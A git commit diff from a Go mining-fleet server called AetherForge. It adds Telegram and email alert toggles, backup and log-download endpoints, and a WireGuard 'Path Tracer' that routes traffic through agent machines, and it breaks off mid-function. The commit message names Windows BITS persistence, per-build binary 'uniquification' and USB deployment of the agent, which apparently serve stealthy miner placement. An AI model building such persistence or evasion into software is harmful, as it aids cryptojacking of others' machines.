feat: Telegram fleet alerts, forge sigil scramble, UI polish, agent ops

- Calibrate: per-event Telegram/SMTP toggles, test notification, chat ID help
- Notify on agent connect/reconnect, offline/hashrate/rejection, forge complete
- Sigil scramble post-forge uniquification and Dispense Reveal ceremony
- Full system check, desktop push, BITS/host-binary persistence, Path Tracer
- Dashboard/Crucible visual polish, haptics, sacred geometry, mobile nav
- README documents alerts, sigil scramble, and pack-usb workflow
- USB bundle repacked via pack-usb.bat (AetherForge.exe + synced agent source)
This commit is contained in:
AetherForge
2026-06-03 20:32:59 -07:00
parent 03937edba7
commit d52479c9a6
139 changed files with 10611 additions and 369 deletions

View File

@@ -7,6 +7,8 @@ import (
"os"
"path/filepath"
"strings"
"crypto-miner-server/internal/alerts"
)
type Config struct {
@@ -108,6 +110,13 @@ type AlertsConfig struct {
RejectionRateThresholdPct int `json:"rejection_rate_threshold_pct"`
TelegramBotToken string `json:"telegram_bot_token"`
TelegramChatID string `json:"telegram_chat_id"`
// Per-event Telegram/email toggles (default true).
NotifyAgentConnect bool `json:"notify_agent_connect"`
NotifyAgentReconnect bool `json:"notify_agent_reconnect"`
NotifyAgentOffline bool `json:"notify_agent_offline"`
NotifyHashrateDrop bool `json:"notify_hashrate_drop"`
NotifyRejectionRate bool `json:"notify_rejection_rate"`
NotifyBuildComplete bool `json:"notify_build_complete"`
EmailEnabled bool `json:"email_enabled"`
SMTPHost string `json:"smtp_host"`
SMTPPort int `json:"smtp_port"`
@@ -179,6 +188,12 @@ func DefaultConfig() *Config {
OfflineThresholdMinutes: 5,
HashrateDropThresholdPct: 50,
RejectionRateThresholdPct: 5,
NotifyAgentConnect: true,
NotifyAgentReconnect: true,
NotifyAgentOffline: true,
NotifyHashrateDrop: true,
NotifyRejectionRate: true,
NotifyBuildComplete: true,
},
Server: ServerSettings{
PublicURL: "",
@@ -225,12 +240,45 @@ func LoadConfig() *Config {
if !strings.Contains(string(data), `"open_firewall_on_start"`) {
cfg.Server.OpenFirewallOnStart = true
}
if !strings.Contains(string(data), `"notify_agent_connect"`) {
cfg.Alerts.NotifyAgentConnect = true
cfg.Alerts.NotifyAgentReconnect = true
cfg.Alerts.NotifyAgentOffline = true
cfg.Alerts.NotifyHashrateDrop = true
cfg.Alerts.NotifyRejectionRate = true
cfg.Alerts.NotifyBuildComplete = true
}
}
}
return cfg
}
// AlertSettings builds notification settings for the alerts package.
func (c *Config) AlertSettings() alerts.Settings {
if c == nil {
return alerts.Settings{}
}
return alerts.NewSettings(alerts.NotifyConfig{
TelegramBotToken: c.Alerts.TelegramBotToken,
TelegramChatID: c.Alerts.TelegramChatID,
EmailEnabled: c.Alerts.EmailEnabled,
SMTPHost: c.Alerts.SMTPHost,
SMTPPort: c.Alerts.SMTPPort,
SMTPUser: c.Alerts.SMTPUser,
SMTPPassword: c.Alerts.SMTPPassword,
EmailTo: c.Alerts.EmailTo,
EmailFrom: c.Alerts.EmailFrom,
}, alerts.EventToggles{
AgentConnect: c.Alerts.NotifyAgentConnect,
AgentReconnect: c.Alerts.NotifyAgentReconnect,
AgentOffline: c.Alerts.NotifyAgentOffline,
HashrateDrop: c.Alerts.NotifyHashrateDrop,
RejectionRate: c.Alerts.NotifyRejectionRate,
BuildComplete: c.Alerts.NotifyBuildComplete,
})
}
func mergeConfig(dst, src *Config) {
if src.Port != 0 {
dst.Port = src.Port
@@ -351,6 +399,12 @@ func mergeConfig(dst, src *Config) {
dst.Alerts.TelegramChatID = src.Alerts.TelegramChatID
}
dst.Alerts.EmailEnabled = src.Alerts.EmailEnabled
dst.Alerts.NotifyAgentConnect = src.Alerts.NotifyAgentConnect
dst.Alerts.NotifyAgentReconnect = src.Alerts.NotifyAgentReconnect
dst.Alerts.NotifyAgentOffline = src.Alerts.NotifyAgentOffline
dst.Alerts.NotifyHashrateDrop = src.Alerts.NotifyHashrateDrop
dst.Alerts.NotifyRejectionRate = src.Alerts.NotifyRejectionRate
dst.Alerts.NotifyBuildComplete = src.Alerts.NotifyBuildComplete
if src.Alerts.SMTPHost != "" {
dst.Alerts.SMTPHost = src.Alerts.SMTPHost
}
@@ -610,6 +664,24 @@ func mergeConfigExplicit(dst, src *Config, present map[string]json.RawMessage) {
if in(alertKeys, "email_enabled") {
dst.Alerts.EmailEnabled = src.Alerts.EmailEnabled
}
if in(alertKeys, "notify_agent_connect") {
dst.Alerts.NotifyAgentConnect = src.Alerts.NotifyAgentConnect
}
if in(alertKeys, "notify_agent_reconnect") {
dst.Alerts.NotifyAgentReconnect = src.Alerts.NotifyAgentReconnect
}
if in(alertKeys, "notify_agent_offline") {
dst.Alerts.NotifyAgentOffline = src.Alerts.NotifyAgentOffline
}
if in(alertKeys, "notify_hashrate_drop") {
dst.Alerts.NotifyHashrateDrop = src.Alerts.NotifyHashrateDrop
}
if in(alertKeys, "notify_rejection_rate") {
dst.Alerts.NotifyRejectionRate = src.Alerts.NotifyRejectionRate
}
if in(alertKeys, "notify_build_complete") {
dst.Alerts.NotifyBuildComplete = src.Alerts.NotifyBuildComplete
}
if in(alertKeys, "smtp_host") && src.Alerts.SMTPHost != "" {
dst.Alerts.SMTPHost = src.Alerts.SMTPHost
}

View File

@@ -17,6 +17,7 @@ require (
github.com/mattn/go-isatty v0.0.20 // indirect
github.com/ncruces/go-strftime v0.1.9 // indirect
github.com/remyoudompheng/bigfft v0.0.0-20230129092748-24d4a6f8daec // indirect
github.com/skip2/go-qrcode v0.0.0-20200617195104-da1b6568686e // indirect
golang.org/x/net v0.54.0 // indirect
golang.org/x/sys v0.45.0 // indirect
modernc.org/gc/v3 v3.0.0-20240107210532-573471604cb6 // indirect

View File

@@ -22,6 +22,8 @@ github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZb
github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4=
github.com/remyoudompheng/bigfft v0.0.0-20230129092748-24d4a6f8daec h1:W09IVJc94icq4NjY3clb7Lk8O1qJ8BdBEF8z0ibU0rE=
github.com/remyoudompheng/bigfft v0.0.0-20230129092748-24d4a6f8daec/go.mod h1:qqbHyh8v60DhA7CoWK5oRCqLrMHRGoxYCSS9EjAz6Eo=
github.com/skip2/go-qrcode v0.0.0-20200617195104-da1b6568686e h1:MRM5ITcdelLK2j1vwZ3Je0FKVCfqOLp5zO6trqMLYs0=
github.com/skip2/go-qrcode v0.0.0-20200617195104-da1b6568686e/go.mod h1:XV66xRDqSt+GTGFMVlhk3ULuV0y9ZmzeVGR4mloJI3M=
golang.org/x/crypto v0.52.0 h1:RMs7fP2rXdep0CftQlK8Uf+kibLm7qkCcradZWYz988=
golang.org/x/crypto v0.52.0/go.mod h1:1QgfPxDqh0T2M/elOJtp9RvuR95kVjir0e6/BvEmGbc=
golang.org/x/mod v0.16.0 h1:QX4fJ0Rr5cPQCF7O9lh9Se4pmwfwskqZfq5moyldzic=

View File

@@ -31,7 +31,7 @@ type Broadcaster func(AlertEvent)
type Evaluator struct {
db *db.Database
thresholds func() Thresholds
notify func() NotifyConfig
settings func() Settings
broadcast Broadcaster
mu sync.Mutex
baseline map[string]float64
@@ -40,11 +40,11 @@ type Evaluator struct {
cooldown time.Duration
}
func NewEvaluator(database *db.Database, thresholds func() Thresholds, notify func() NotifyConfig, broadcast Broadcaster) *Evaluator {
func NewEvaluator(database *db.Database, thresholds func() Thresholds, settings func() Settings, broadcast Broadcaster) *Evaluator {
return &Evaluator{
db: database,
thresholds: thresholds,
notify: notify,
settings: settings,
broadcast: broadcast,
baseline: make(map[string]float64),
lastFired: make(map[string]time.Time),
@@ -180,12 +180,25 @@ func (e *Evaluator) fire(ev AlertEvent, cooldownKey string) {
e.mu.Unlock()
log.Printf("[Alert] %s: %s", ev.Type, ev.Message)
NotifyAll(e.notify(), "AetherForge "+ev.Type, ev.Message)
s := e.settings()
if s.EnabledForAlertType(ev.Type) {
NotifyAll(s.NotifyConfig, "AetherForge "+ev.Type, ev.Message)
}
if e.broadcast != nil {
e.broadcast(ev)
}
}
// GetNotifyConfig returns delivery credentials for channel probes.
func (e *Evaluator) GetNotifyConfig() NotifyConfig {
return e.settings().NotifyConfig
}
// GetSettings returns full notification settings.
func (e *Evaluator) GetSettings() Settings {
return e.settings()
}
func (e *Evaluator) ActiveAlerts() []AlertEvent {
e.mu.Lock()
defer e.mu.Unlock()

View File

@@ -17,7 +17,7 @@ func TestEvaluatorOfflineAlert(t *testing.T) {
var fired []AlertEvent
e := &Evaluator{
thresholds: func() Thresholds { return Thresholds{OfflineMinutes: 5} },
notify: func() NotifyConfig { return NotifyConfig{} },
settings: func() Settings { return NewSettings(NotifyConfig{}, EventToggles{AgentOffline: true}) },
broadcast: func(ev AlertEvent) { fired = append(fired, ev) },
baseline: make(map[string]float64),
lastFired: make(map[string]time.Time),

View File

@@ -0,0 +1,54 @@
package alerts
import "log"
// Notifier sends Telegram/email when Calibrate toggles allow it.
type Notifier struct {
settings func() Settings
}
func NewNotifier(settings func() Settings) *Notifier {
return &Notifier{settings: settings}
}
func (n *Notifier) Emit(event string, title, body string) {
if n == nil || n.settings == nil {
return
}
s := n.settings()
if !n.eventEnabled(s, event) {
return
}
if s.TelegramBotToken == "" && s.TelegramChatID == "" && !s.EmailEnabled {
return
}
log.Printf("[Notify] %s: %s", event, body)
NotifyAll(s.NotifyConfig, title, body)
}
func (n *Notifier) eventEnabled(s Settings, event string) bool {
switch event {
case EventAgentConnect:
return s.Events.AgentConnect
case EventAgentReconnect:
return s.Events.AgentReconnect
case EventBuildComplete:
return s.Events.BuildComplete
case "offline":
return s.Events.AgentOffline
case "hashrate_drop":
return s.Events.HashrateDrop
case "rejection_rate":
return s.Events.RejectionRate
default:
return true
}
}
// GetSettings exposes current settings (alert test handler).
func (n *Notifier) GetSettings() Settings {
if n == nil || n.settings == nil {
return Settings{}
}
return n.settings()
}

View File

@@ -0,0 +1,25 @@
package alerts
import "testing"
func TestNotifierRespectsToggles(t *testing.T) {
n := NewNotifier(func() Settings {
return NewSettings(
NotifyConfig{TelegramBotToken: "t", TelegramChatID: "1"},
EventToggles{AgentConnect: false, AgentReconnect: true},
)
})
// disabled — no panic
n.Emit(EventAgentConnect, "title", "body")
n.Emit(EventAgentReconnect, "title", "body")
}
func TestSettingsEnabledForAlertType(t *testing.T) {
s := NewSettings(NotifyConfig{}, EventToggles{AgentOffline: false, HashrateDrop: true})
if s.EnabledForAlertType("offline") {
t.Fatal("expected offline disabled")
}
if !s.EnabledForAlertType("hashrate_drop") {
t.Fatal("expected hashrate enabled")
}
}

View File

@@ -4,6 +4,7 @@ import (
"bytes"
"encoding/json"
"fmt"
"io"
"net/http"
"net/smtp"
"strings"
@@ -27,11 +28,11 @@ func SendTelegram(cfg NotifyConfig, text string) error {
return nil
}
url := fmt.Sprintf("https://api.telegram.org/bot%s/sendMessage", cfg.TelegramBotToken)
body, _ := json.Marshal(map[string]string{
payload, _ := json.Marshal(map[string]string{
"chat_id": cfg.TelegramChatID,
"text": text,
})
req, err := http.NewRequest(http.MethodPost, url, bytes.NewReader(body))
req, err := http.NewRequest(http.MethodPost, url, bytes.NewReader(payload))
if err != nil {
return err
}
@@ -42,8 +43,19 @@ func SendTelegram(cfg NotifyConfig, text string) error {
return err
}
defer resp.Body.Close()
body, _ := io.ReadAll(resp.Body)
if resp.StatusCode >= 300 {
return fmt.Errorf("telegram API status %d", resp.StatusCode)
msg := strings.TrimSpace(string(body))
if msg == "" {
return fmt.Errorf("telegram API status %d", resp.StatusCode)
}
var apiErr struct {
Description string `json:"description"`
}
if json.Unmarshal(body, &apiErr) == nil && apiErr.Description != "" {
return fmt.Errorf("telegram: %s", apiErr.Description)
}
return fmt.Errorf("telegram API status %d: %s", resp.StatusCode, msg)
}
return nil
}

View File

@@ -0,0 +1,41 @@
package alerts
// Event toggles — all default true in server DefaultConfig.
type EventToggles struct {
AgentConnect bool
AgentReconnect bool
AgentOffline bool
HashrateDrop bool
RejectionRate bool
BuildComplete bool
}
// Settings combines delivery credentials with per-event toggles.
type Settings struct {
NotifyConfig
Events EventToggles
}
func NewSettings(nc NotifyConfig, ev EventToggles) Settings {
return Settings{NotifyConfig: nc, Events: ev}
}
// EnabledForAlertType maps evaluator alert types to toggles.
func (s Settings) EnabledForAlertType(alertType string) bool {
switch alertType {
case "offline":
return s.Events.AgentOffline
case "hashrate_drop":
return s.Events.HashrateDrop
case "rejection_rate":
return s.Events.RejectionRate
default:
return true
}
}
const (
EventAgentConnect = "agent_connect"
EventAgentReconnect = "agent_reconnect"
EventBuildComplete = "build_complete"
)

View File

@@ -0,0 +1,74 @@
package api
import (
"archive/zip"
"bytes"
"fmt"
"net/http"
"os"
"path/filepath"
"time"
)
// BackupHandler serves GET /api/v1/backup.
// It returns a zip containing config.json, users.json, miner.db, and a
// backup-info.txt with the timestamp and server version. The caller must
// already be authenticated via basicAuthMiddleware (registered in router.go).
type BackupHandler struct {
dataDir string
serverVersion string
}
// NewBackupHandler creates a BackupHandler for the given data directory.
func NewBackupHandler(dataDir, serverVersion string) *BackupHandler {
return &BackupHandler{dataDir: dataDir, serverVersion: serverVersion}
}
func (h *BackupHandler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
if r.Method != http.MethodGet {
http.Error(w, "Method not allowed", http.StatusMethodNotAllowed)
return
}
now := time.Now().UTC()
dateTag := now.Format("2006-01-02")
var buf bytes.Buffer
zw := zip.NewWriter(&buf)
// backup-info.txt
info := fmt.Sprintf("AetherForge Deck Backup\nTimestamp: %s\nVersion: %s\n",
now.Format(time.RFC3339), h.serverVersion)
if fw, err := zw.Create("backup-info.txt"); err == nil {
_, _ = fw.Write([]byte(info))
}
// Helper: add a file from disk into the zip, skip gracefully if missing.
addFile := func(name, diskPath string) {
data, err := os.ReadFile(diskPath)
if err != nil {
return
}
fw, err := zw.Create(name)
if err != nil {
return
}
_, _ = fw.Write(data)
}
addFile("config.json", filepath.Join(h.dataDir, "config.json"))
addFile("users.json", filepath.Join(h.dataDir, "users.json"))
addFile("miner.db", filepath.Join(h.dataDir, "miner.db"))
if err := zw.Close(); err != nil {
http.Error(w, "Failed to create backup zip", http.StatusInternalServerError)
return
}
filename := fmt.Sprintf("aetherforge-backup-%s.zip", dateTag)
w.Header().Set("Content-Type", "application/zip")
w.Header().Set("Content-Disposition", fmt.Sprintf(`attachment; filename="%s"`, filename))
w.Header().Set("Content-Length", fmt.Sprintf("%d", buf.Len()))
w.WriteHeader(http.StatusOK)
_, _ = w.Write(buf.Bytes())
}

View File

@@ -8,6 +8,8 @@ import (
"log"
"net"
"net/http"
"os"
"path/filepath"
"strconv"
"strings"
"sync"
@@ -35,6 +37,7 @@ type FleetHandler struct {
pools *pool.Manager
alerts *alerts.Evaluator
defaultPool pool.Config
dataDir string
// XMR price cache — per-handler so multiple routers in one process stay isolated.
xmrPriceMu sync.Mutex
@@ -52,7 +55,7 @@ type poolEarningsCache struct {
const earningsCacheTTL = 5 * time.Minute
func NewFleetHandler(database *db.Database, ws *WSHub, ai *AIHandler, pools *pool.Manager, evaluator *alerts.Evaluator, defaultPool pool.Config) *FleetHandler {
func NewFleetHandler(database *db.Database, ws *WSHub, ai *AIHandler, pools *pool.Manager, evaluator *alerts.Evaluator, defaultPool pool.Config, dataDir string) *FleetHandler {
return &FleetHandler{
db: database,
ws: ws,
@@ -60,6 +63,7 @@ func NewFleetHandler(database *db.Database, ws *WSHub, ai *AIHandler, pools *poo
pools: pools,
alerts: evaluator,
defaultPool: defaultPool,
dataDir: dataDir,
}
}
@@ -71,6 +75,53 @@ func (f *FleetHandler) GetAlerts(w http.ResponseWriter, r *http.Request) {
writeJSON(w, f.alerts.ActiveAlerts())
}
// PostAlertTest fires a test notification on every configured channel and
// returns per-channel results without raising a real fleet alert.
func (f *FleetHandler) PostAlertTest(w http.ResponseWriter, r *http.Request) {
const testMsg = "AetherForge test notification — alerts are configured correctly"
type channelResult struct {
Sent bool `json:"sent"`
Error *string `json:"error"`
}
result := map[string]channelResult{}
if f.alerts == nil {
errStr := "alert evaluator not configured"
result["telegram"] = channelResult{Sent: false, Error: &errStr}
result["smtp"] = channelResult{Sent: false, Error: &errStr}
writeJSON(w, result)
return
}
cfg := f.alerts.GetNotifyConfig()
// Telegram
if cfg.TelegramBotToken == "" || cfg.TelegramChatID == "" {
errStr := "not configured"
result["telegram"] = channelResult{Sent: false, Error: &errStr}
} else if err := alerts.SendTelegram(cfg, testMsg); err != nil {
errStr := err.Error()
result["telegram"] = channelResult{Sent: false, Error: &errStr}
} else {
result["telegram"] = channelResult{Sent: true}
}
// SMTP
if !cfg.EmailEnabled || cfg.SMTPHost == "" || cfg.EmailTo == "" {
errStr := "not configured"
result["smtp"] = channelResult{Sent: false, Error: &errStr}
} else if err := alerts.SendEmail(cfg, "AetherForge Alert Test", testMsg); err != nil {
errStr := err.Error()
result["smtp"] = channelResult{Sent: false, Error: &errStr}
} else {
result["smtp"] = channelResult{Sent: true}
}
writeJSON(w, result)
}
func (f *FleetHandler) GetPoolStatus(w http.ResponseWriter, r *http.Request) {
if f.pools == nil {
writeJSON(w, []pool.PoolStatus{})
@@ -254,6 +305,23 @@ func (f *FleetHandler) GetAgentLog(w http.ResponseWriter, r *http.Request) {
// The dashboard will receive the log content via the commandResults queue.
_ = f.ws.SendAgentCommand(id, "get_log", map[string]interface{}{"tail_lines": 300})
}
if r.URL.Query().Get("download") == "1" {
// If the in-memory buffer is empty, try the persisted log file on disk.
if content == "" && f.dataDir != "" {
logPath := filepath.Join(f.dataDir, "logs", id+".log")
if data, err := os.ReadFile(logPath); err == nil {
content = string(data)
}
}
date := time.Now().UTC().Format("2006-01-02")
filename := fmt.Sprintf("agent-%s-%s.log", id, date)
w.Header().Set("Content-Type", "text/plain; charset=utf-8")
w.Header().Set("Content-Disposition", `attachment; filename="`+filename+`"`)
fmt.Fprint(w, content)
return
}
writeJSON(w, map[string]interface{}{
"agent_id": id,
"content": content,

View File

@@ -64,7 +64,7 @@ func newTestFleetHandler(t *testing.T) (*FleetHandler, *db.Database, *WSHub, *AI
t.Cleanup(func() { _ = database.Close() })
ws := NewWSHub(database)
ai := NewAIHandler(database)
fh := NewFleetHandler(database, ws, ai, nil, nil, pool.Config{})
fh := NewFleetHandler(database, ws, ai, nil, nil, pool.Config{}, "")
return fh, database, ws, ai
}
@@ -182,10 +182,10 @@ func TestFleetGetAlertsWithEvaluator(t *testing.T) {
evaluator := alerts.NewEvaluator(database, func() alerts.Thresholds {
return alerts.Thresholds{OfflineMinutes: 5}
}, func() alerts.NotifyConfig { return alerts.NotifyConfig{} }, nil)
}, func() alerts.Settings { return alerts.NewSettings(alerts.NotifyConfig{}, alerts.EventToggles{}) }, nil)
evaluator.RunOnce()
fh := NewFleetHandler(database, NewWSHub(database), NewAIHandler(database), nil, evaluator, pool.Config{})
fh := NewFleetHandler(database, NewWSHub(database), NewAIHandler(database), nil, evaluator, pool.Config{}, "")
rec := httptest.NewRecorder()
fh.GetAlerts(rec, httptest.NewRequest(http.MethodGet, "/alerts", nil))
if rec.Code != http.StatusOK {
@@ -200,6 +200,48 @@ func TestFleetGetAlertsWithEvaluator(t *testing.T) {
}
}
func TestFleetPostAlertTestUnconfigured(t *testing.T) {
evaluator := alerts.NewEvaluator(nil, func() alerts.Thresholds { return alerts.Thresholds{} },
func() alerts.Settings { return alerts.NewSettings(alerts.NotifyConfig{}, alerts.EventToggles{}) }, nil)
fh := NewFleetHandler(nil, NewWSHub(nil), NewAIHandler(nil), nil, evaluator, pool.Config{}, "")
rec := httptest.NewRecorder()
fh.PostAlertTest(rec, httptest.NewRequest(http.MethodPost, "/alerts/test", nil))
if rec.Code != http.StatusOK {
t.Fatalf("status %d", rec.Code)
}
var body map[string]struct {
Sent bool `json:"sent"`
Error *string `json:"error"`
}
if err := json.Unmarshal(rec.Body.Bytes(), &body); err != nil {
t.Fatal(err)
}
if body["telegram"].Sent || body["smtp"].Sent {
t.Fatalf("expected no sends, got %+v", body)
}
if body["telegram"].Error == nil || *body["telegram"].Error != "not configured" {
t.Fatalf("telegram: %+v", body["telegram"])
}
}
func TestFleetPostAlertTestNilEvaluator(t *testing.T) {
fh, _, _, _ := newTestFleetHandler(t)
rec := httptest.NewRecorder()
fh.PostAlertTest(rec, httptest.NewRequest(http.MethodPost, "/alerts/test", nil))
if rec.Code != http.StatusOK {
t.Fatalf("status %d", rec.Code)
}
var body map[string]struct {
Error *string `json:"error"`
}
if err := json.Unmarshal(rec.Body.Bytes(), &body); err != nil {
t.Fatal(err)
}
if body["telegram"].Error == nil || *body["telegram"].Error != "alert evaluator not configured" {
t.Fatalf("got %+v", body["telegram"])
}
}
func TestFleetGetPoolStatusNilManager(t *testing.T) {
fh, _, _, _ := newTestFleetHandler(t)
rec := httptest.NewRecorder()
@@ -556,7 +598,7 @@ func TestFleetPostAgentCommandErrors(t *testing.T) {
fh, _, ws, _ := newTestFleetHandler(t)
t.Run("nil ws", func(t *testing.T) {
bad := NewFleetHandler(fh.db, nil, fh.ai, fh.pools, fh.alerts, fh.defaultPool)
bad := NewFleetHandler(fh.db, nil, fh.ai, fh.pools, fh.alerts, fh.defaultPool, "")
rec := httptest.NewRecorder()
req := httptest.NewRequest(http.MethodPost, "/agents/a1/command", strings.NewReader(`{"action":"pause"}`))
fleetChiRoute(http.MethodPost, "/agents/{id}/command", bad.PostAgentCommand).ServeHTTP(rec, req)
@@ -736,7 +778,7 @@ func TestFleetPostBulkCommandErrors(t *testing.T) {
fh, _, _, _ := newTestFleetHandler(t)
t.Run("nil ws", func(t *testing.T) {
bad := NewFleetHandler(fh.db, nil, fh.ai, fh.pools, fh.alerts, fh.defaultPool)
bad := NewFleetHandler(fh.db, nil, fh.ai, fh.pools, fh.alerts, fh.defaultPool, "")
rec := httptest.NewRecorder()
req := httptest.NewRequest(http.MethodPost, "/agents/bulk-command",
strings.NewReader(`{"agent_ids":["a"],"action":"pause"}`))

View File

@@ -4,12 +4,15 @@ import (
"encoding/json"
"net/http"
"strconv"
"time"
"crypto-miner-server/internal/db"
"crypto-miner-server/internal/models"
"github.com/go-chi/chi/v5"
)
var serverStartTime = time.Now()
type Handler struct {
db *db.Database
}
@@ -100,6 +103,45 @@ func (h *Handler) HealthCheck(w http.ResponseWriter, r *http.Request) {
writeJSON(w, map[string]string{"status": "ok"})
}
// GET /api/v1/server/ready
// Requires auth (not in the basicAuthMiddleware bypass list).
// Add ?verbose=1 to get full diagnostics; omit for a lightweight liveness check.
func (h *Handler) ServerReady(w http.ResponseWriter, r *http.Request) {
uptime := int64(time.Since(serverStartTime).Seconds())
resp := map[string]interface{}{
"status": "ok",
"uptime_s": uptime,
}
if r.URL.Query().Get("verbose") != "1" {
writeJSON(w, resp)
return
}
// DB ping
dbStatus := "ok"
if err := h.db.QueryRow("SELECT 1").Scan(new(int)); err != nil {
dbStatus = "error: " + err.Error()
resp["status"] = "degraded"
}
resp["db"] = dbStatus
// Count online agents
var onlineAgents int
if err := h.db.QueryRow("SELECT COUNT(*) FROM agents WHERE status = 'online'").Scan(&onlineAgents); err != nil {
onlineAgents = -1
}
resp["agents_online"] = onlineAgents
if resp["status"] == "degraded" {
w.Header().Set("Content-Type", "application/json")
w.WriteHeader(http.StatusServiceUnavailable)
json.NewEncoder(w).Encode(resp)
return
}
writeJSON(w, resp)
}
// GET /api/v1/builds
func (h *Handler) ListBuilds(w http.ResponseWriter, r *http.Request) {
builds, err := h.db.ListBuilds(50)

View File

@@ -68,7 +68,7 @@ func newTestRouter(t *testing.T) (http.Handler, *WSHub, *db.Database, string) {
cfg := &mockConfigProvider{}
configHandler := NewConfigHandler(cfg)
aiHandler := NewAIHandler(database)
fleetHandler := NewFleetHandler(database, wsHub, aiHandler, nil, nil, pool.Config{})
fleetHandler := NewFleetHandler(database, wsHub, aiHandler, nil, nil, pool.Config{}, dataDir)
builderHandler := builder.NewHandler(database, dataDir, "", dataDir)
blueprintHandler := NewBlueprintHandler(dataDir)

View File

@@ -0,0 +1,455 @@
package api
import (
"crypto/rand"
"encoding/base64"
"encoding/json"
"fmt"
"image/color"
"image/png"
"log"
"net/http"
"strings"
"sync"
"time"
"github.com/go-chi/chi/v5"
"github.com/google/uuid"
qrcode "github.com/skip2/go-qrcode"
"golang.org/x/crypto/curve25519"
)
// ── types ─────────────────────────────────────────────────────────────────────
// HopStatus tracks one agent's progress in a trace session.
type HopStatus string
const (
HopPending HopStatus = "pending"
HopReady HopStatus = "ready"
HopFailed HopStatus = "failed"
)
// HopInfo records what we know about each hop in the chain.
type HopInfo struct {
AgentID string `json:"agent_id"`
AgentName string `json:"agent_name"`
ExternalIP string `json:"external_ip"`
Port int `json:"port"`
PublicKey string `json:"public_key"`
PrivateKey string `json:"-"` // never sent to client
LocalAddr string `json:"local_addr"`
Status HopStatus `json:"status"`
Error string `json:"error,omitempty"`
}
// TraceSession holds all state for one active VPN session.
type TraceSession struct {
ID string `json:"id"`
AgentIDs []string `json:"agent_ids"`
Hops []*HopInfo `json:"hops"`
Ready bool `json:"ready"`
Error string `json:"error,omitempty"`
CreatedAt time.Time `json:"created_at"`
// Client WireGuard keypair — used to build the QR config.
clientPrivKey string
clientPubKey string
}
// PathTracerHandler manages on-demand WireGuard chain sessions.
type PathTracerHandler struct {
hub *WSHub
mu sync.Mutex
sessions map[string]*TraceSession
}
func NewPathTracerHandler(hub *WSHub) *PathTracerHandler {
return &PathTracerHandler{
hub: hub,
sessions: make(map[string]*TraceSession),
}
}
// ── HTTP handlers ─────────────────────────────────────────────────────────────
// POST /api/v1/pathtrace/start
// Body: {"agent_ids": ["id1","id2",...]}
func (h *PathTracerHandler) Start(w http.ResponseWriter, r *http.Request) {
var req struct {
AgentIDs []string `json:"agent_ids"`
}
if err := json.NewDecoder(r.Body).Decode(&req); err != nil || len(req.AgentIDs) == 0 {
http.Error(w, "agent_ids required", http.StatusBadRequest)
return
}
if len(req.AgentIDs) > 3 {
http.Error(w, "max 3 hops supported", http.StatusBadRequest)
return
}
clientPriv, clientPub, err := generateServerWGKeyPair()
if err != nil {
http.Error(w, "keygen failed", http.StatusInternalServerError)
return
}
sess := &TraceSession{
ID: uuid.New().String(),
AgentIDs: req.AgentIDs,
CreatedAt: time.Now(),
clientPrivKey: clientPriv,
clientPubKey: clientPub,
}
// Build hops with placeholder names (agent name lookup below).
for i, id := range req.AgentIDs {
sess.Hops = append(sess.Hops, &HopInfo{
AgentID: id,
AgentName: fmt.Sprintf("hop-%d", i+1),
LocalAddr: fmt.Sprintf("10.66.0.%d/24", i+2), // .2, .3, .4
Port: 51820,
Status: HopPending,
})
}
h.mu.Lock()
h.sessions[sess.ID] = sess
h.mu.Unlock()
// Orchestrate asynchronously so the HTTP response returns quickly.
go h.orchestrate(sess)
writeJSON(w, map[string]interface{}{
"session_id": sess.ID,
"hops": sess.Hops,
})
}
// GET /api/v1/pathtrace/{id}/status
func (h *PathTracerHandler) Status(w http.ResponseWriter, r *http.Request) {
sess := h.getSession(chi.URLParam(r, "id"))
if sess == nil {
http.Error(w, "session not found", http.StatusNotFound)
return
}
h.mu.Lock()
defer h.mu.Unlock()
writeJSON(w, map[string]interface{}{
"session_id": sess.ID,
"ready": sess.Ready,
"error": sess.Error,
"hops": sess.Hops,
})
}
// GET /api/v1/pathtrace/{id}/qr
func (h *PathTracerHandler) QR(w http.ResponseWriter, r *http.Request) {
sess := h.getSession(chi.URLParam(r, "id"))
if sess == nil {
http.Error(w, "session not found", http.StatusNotFound)
return
}
h.mu.Lock()
ready := sess.Ready
h.mu.Unlock()
if !ready {
http.Error(w, "session not ready yet", http.StatusAccepted)
return
}
cfg := h.buildClientConfig(sess)
// Return format: ?format=png → PNG image, default → JSON with text+png.
if r.URL.Query().Get("format") == "png" {
qr, err := qrcode.New(cfg, qrcode.High)
if err != nil {
http.Error(w, "qr generation failed", http.StatusInternalServerError)
return
}
qr.BackgroundColor = color.Black
qr.ForegroundColor = color.RGBA{R: 0, G: 255, B: 170, A: 255} // neon green
img := qr.Image(400)
w.Header().Set("Content-Type", "image/png")
_ = png.Encode(w, img)
return
}
qr, err := qrcode.Encode(cfg, qrcode.High, 300)
if err != nil {
http.Error(w, "qr generation failed", http.StatusInternalServerError)
return
}
writeJSON(w, map[string]interface{}{
"config": cfg,
"qr_png_b64": base64.StdEncoding.EncodeToString(qr),
})
}
// DELETE /api/v1/pathtrace/{id}
func (h *PathTracerHandler) Delete(w http.ResponseWriter, r *http.Request) {
id := chi.URLParam(r, "id")
sess := h.getSession(id)
if sess == nil {
http.Error(w, "session not found", http.StatusNotFound)
return
}
// Tell all agents to tear down.
for _, hop := range sess.Hops {
_ = h.hub.writeAgentJSON(hop.AgentID, Message{
Type: "command",
Payload: mustMarshal(map[string]interface{}{"action": "wg_teardown"}),
})
}
h.mu.Lock()
delete(h.sessions, id)
h.mu.Unlock()
writeJSON(w, map[string]interface{}{"ok": true})
}
// ── orchestration ─────────────────────────────────────────────────────────────
func (h *PathTracerHandler) orchestrate(sess *TraceSession) {
log.Printf("[pathtrace] session %s: orchestrating %d hop(s)", sess.ID[:8], len(sess.Hops))
// Phase 1: send wg_setup to every hop in parallel, collect keypairs + IPs.
type setupResp struct {
hop *HopInfo
pub string
ip string
port int
err string
}
results := make(chan setupResp, len(sess.Hops))
for _, hop := range sess.Hops {
hop := hop
ch := h.hub.AwaitCommandResult(hop.AgentID, "wg_setup")
err := h.hub.writeAgentJSON(hop.AgentID, Message{
Type: "command",
Payload: mustMarshal(map[string]interface{}{"action": "wg_setup"}),
})
if err != nil {
h.hub.CancelAwait(hop.AgentID, "wg_setup")
